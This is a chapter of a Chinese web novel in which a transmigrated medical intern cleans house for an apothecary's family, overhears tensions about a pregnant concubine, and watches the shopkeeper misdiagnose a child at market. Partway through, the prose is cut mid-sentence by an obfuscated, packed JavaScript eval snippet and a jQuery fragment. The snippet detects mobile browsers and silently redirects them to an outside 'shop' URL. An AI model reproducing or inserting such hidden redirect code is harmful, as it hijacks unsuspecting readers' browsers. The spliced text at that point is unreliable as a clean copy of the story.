砰砰砰——
古妍感觉刚睡下没多久,房门就被重重拍响,她还以为是在家里被母亲□□,于是不耐烦地嘟囔了一句:“今天又不上班,干嘛大清早吵我?”
“妍姬,该起榻了,已是寅时。”
直到门外响起钱妻的大嗓门喊声,古妍腾地睁眼,再一看这间透着古朴风格,陈设简单的屋子,她的意识才逐渐清醒。
“起…起来了!”
她匆忙回应了一声,随即朝窗户望去,透过蒙窗的布帛,她发现天仍灰蒙蒙的,估计刚过寅时没多久。
“午后才开市,怎么要起这么早?在古家都没起这么早。”
古妍擦了擦眼屎,嘀嘀咕咕地起榻穿衣。
内城的集市不同于外城,大多午后才开,她还以为,至少能睡到辰时以后,哪曾想钱妻这么积极。
昨晚她偷听到那二人的枕边话,忐忑了一整宿,犹豫着要不要马上开溜,还是先干完一月拿到工钱再走。
可思来想去,最终决定按兵不动,要是钱东家真敢对她乱来,她就往他石门穴重重扎一针,毁其精室之门,让他再也生不出孩子。
做好决定后,她才疲累地睡去,可还没见到周公呢,便被钱妻叫醒。
“哈呼…突然有点怀念在古家的日子了。”
她在古家也要被叫起床帮忙做早膳,打扫卫生,清理溷…可不至于寅时刚过就起来,通常都是寅时末,或者卯时初,听到隔壁屋传来动静,猜测兄嫂已醒,这才不紧不慢地爬起来。
“没睡好?”
待她出屋,钱妻一眼就瞧见了她眼底的乌青。
古妍垂首,“还不太习惯新环境。”
钱妻不予置评,“随我来东厨准备早膳,男君待会儿要去出城去采买药材。”
“向山里的猎户与樵夫采买?”古妍问。
钱妻点头,催促道:“别愣着,把粥先熬上,我来烤饼。”
“好的。”古妍应下,挽起衣袖就烧柴生火。
等到武火转文火,她才对钱妻说道:“女君,我去如厕。”
“去吧,回来盥漱时,舀一碗苦参汤漱口。”钱妻指了指正架在火上热的一锅汤,对她说道。
古妍颔首,路过那锅汤的时候朝里面瞄了一眼。
居然用苦参汤漱口,钱家还是挺讲究。
在古家时,也是鸡初鸣,咸盥漱,不过只用清水,牙刷就是手指,叩牙便是漱口。
《养生方》里便写道:“加叩齿百遍,咽唾三次,常数行之,用齿不痛”。
没有猪在屁股下面等食,古妍如厕的心理负担锐减,肠舒腹畅一身轻。
厕毕,她依旧拿出自制的一次性手指,用完即扔。
而后手指便顺着排泄物,慢慢流向猪圈。
早膳备好,钱妻便把钱东家叫到正堂用膳,柳姬并未起榻,而她的饮食也没让古妍来准备,估计待会儿由她亲自准备。
看得出来,钱妻很看重柳姬肚里的孩子。
古妍从昨晚偷听到的对话得知,钱家夫妻婚后至今无子,但钱家的药肆需要有人继承,不得已,钱妻才默许钱东家养了外室,等到外室有孕,便接回来养着,孩子一出生就过到钱妻名下。
至于外室柳姬将来何去何从,二人昨晚没有谈及。
而聊到古妍时,钱妻态度明确,不允许她成为第二个柳姬,但钱东家的回答模棱两可……
矮几前,三人沉默用膳,都低垂着头,不过古妍明显能感受到钱妻的眼神时而瞟向钱东家,时而瞥向自己。
一股暗流悄然涌动,迫使古妍更加小心翼翼。
用完早膳,钱东家便出了门,钱妻目送他走远后,转身对古妍吩咐道:“我来收拾东厨,你去清扫后院吧,把溷也收拾干净些,尤其是地面,别湿漉漉的,柳姬现下行动不便,里外都要弄干爽。”
古妍深吸了一口气,点头应下。
“拿佣工的钱干丫鬟的活儿!”
“一个抠门,一个剥削,活该生不出孩子!”
她忿忿地走进了溷,洗干净厕筹,再用猪鬃扎的刷子清洁两间厕,最后走进猪圈,将木桶盛来的水泼洒进去,墙壁、地面,均泼洒两到三次,再把秽物用刷子刷干净。
期间,钱妻过来看过一眼,见她干活还算麻利,便放心离去,为柳姬准备早膳,而后再煎煮药材。
钱东家没经过她的同意,便招来一名处理药材的佣工,这让她很是不悦,多花钱不说,还多了一张吃饭的嘴,而且把碾磨煎煮的活儿分出去了,无事做时岂不是要她和柳姬大眼瞪小眼?
她心甘情愿照顾柳姬是一回事,跟她相处是另一回事。
况且,来的还是个女子,有柳姬的前车之鉴,她怎不担心?
她又做不到随时盯着守着,男女做苟且之事,不过是片刻尔尔。
越想越气,待古妍打扫完厕溷,她又安排她把前后院一并打扫干净。
古妍还没歇口气呢,就被她一手塞箕一手塞帚,推着她朝前院走去。
这时,西厢房传来柳姬起榻的动静,将古妍推去前院后,她便忙不迭去伺候柳姬更衣洗漱了。
迈出后院前,古妍回头望了一眼,见钱妻擦拭着双手,推开西厢房的门,不由五味杂陈。
她累了一早上,钱妻亦然。
只是她被迫成为劳碌命,钱妻则是自己选的。
“不能生,抱养个婴孩回来不行吗?柳姬被养在外面,钱东家怎么就肯定她怀的是他的孩子?”
古妍皱皱鼻子,嘀嘀咕咕去前院扫地了。
“哎哟…疼……”
扫完前院来到扫后院时,她听见了从西厢房传来的柳姬的呻吟。
“好端端地怎么会脚挛急?你是不是最近散步太多了?”
紧接着,便是钱妻的声音。
“怕是孕期缺钙吧?”古妍猜测。
“不过古代中医并没有这种说法,通常归为肾虚或先天不足,肾主骨生髓,肾虚可能导致骨骼、牙齿等钙相关功能异常……”
古妍站在门外,犹豫着要不要进去提醒一下,好让钱妻找钱东家熬制一些调理肾气、补益气血的药剂来改善柳姬眼下的抽筋问题。
但迟疑许久,她终究没迈出那只脚。
钱妻本就不信任她,多这一嘴,恐怕只会招来更多猜疑。
“我先自扫门前雪吧,别多管闲事。”
随即,她继续清扫后院,跟着又把自己那间耳房重新整了一遍。
不知要在这里住多久,就算心里排斥,古妍还是尽量说服自己把这间简陋的屋子当成自己的家。
“再怎么说,也比我实习期间住的宿舍强吧,至少是单人间。”
收拾完毕,看着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758203|190100||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不再有灰尘的床铺、矮几、坐垫、竹笥,古妍展颜一笑,又拿出妆奁,坐在镜前解开发髻,重新梳理。
她对这头秀发最为满意,又黑又多,还不容易出油,十天不洗,都不痒不油。
“估计跟喝的水和饮食有关。”
当下多用井水或河水,含矿物质较少,对头皮刺激小,饮食也以清淡为主,诸如谷物、蔬菜,高油脂食物摄入较少,间接减少头油分泌。??
“当古人有古人的好。”古妍喃喃。
“多想好的地方,多赚钱,早日离开这里。”
发髻梳完,她也重新调整好了心态。
午时未至,钱东家就带着她去集市出摊了。
而古妍的第一天班,才算正式开始。
集市是固定摊位,同类商品集中排列,名为“列肆”或“市列”,不过这个集市里只有钱东家独一药肆,便混入了粮食、陶器等货品陈列区。
市内设有高楼,称为“市楼”,用于监管,并配备有“市令”或“市丞”来监督交易,以确保秩序。
与昨日无异,钱东家还是推着名为“鹿车”的独轮车,上面捆绑着一个大箱子,里面装的就是出摊的药材。
有成药,也有青草药,来到摊位后,按照矮几上的价表简牍,将药材对应摆放。
古妍数了数,成药大概有三四十种吧,基本都是针对时下百姓常见的疾病来配比的,不像现代的药房,把不同类型的药材放于不同的药柜里。
医学不发达的时代,疾病分得不够细,配药自然也粗枝大叶。
摊子铺好没多久,一位老妪就带着自家孙儿过来买药了,“钱东家,我家宝儿最近没什么食欲,不知是不是积食所致?”
闻言,古妍在钱东家身旁跪坐下,静静地观察着那个孩子的面色。
古妍实习期间,曾在儿科待过俩月,对小儿积食还是挺了解。
通常这样的患儿舌苔必然厚腻,面色发黄或潮红,口唇周围发青,眼袋明显或发青。
但这个孩子…古妍微眯起双眼,伸出脖子进一步细瞧,便见他的脸色不黄不红,而是发白。
“那他可有腹胀?”钱东家开口问道。
古妍收回脖子,猜测钱东家也看出了异常,便不动声色地听着。
老妪眨眨眼,随后揉了揉孙儿的肚皮,没法判断出是不是腹胀。
钱东家笑了笑,招手让孩子来到里面,往他小腹稍微一摁,便心下了然,随即又问老妪:“宝儿最近排便是不是也很乏力?”
老妪点头,“都没怎么吃东西,自然拉不出什么东西。”
古妍努起了嘴,心下已有判断。
钱东家帮孩子把了一下脉搏,又捏了捏他豆芽似的小胳膊,“宝儿比我上回见到时瘦了整整一圈呐。”
“不吃东西怎会胖嘛!”老妪还是那句话。
钱东家抬眸对她说:“病因不在不吃东西。”
古妍默默点头。
“那在啥?”老妪蹙眉问。
古妍竖起了耳朵。
钱东家说:“宝儿是气虚。”
没了?
古妍眨眨眼,就见钱东家已在写方子,准备配药了。
偷瞄着他写下的方子,确实是针对小儿气虚的,可那孩子的病症不全是气虚呀!
领导诊断错误,要不要当面指出啊?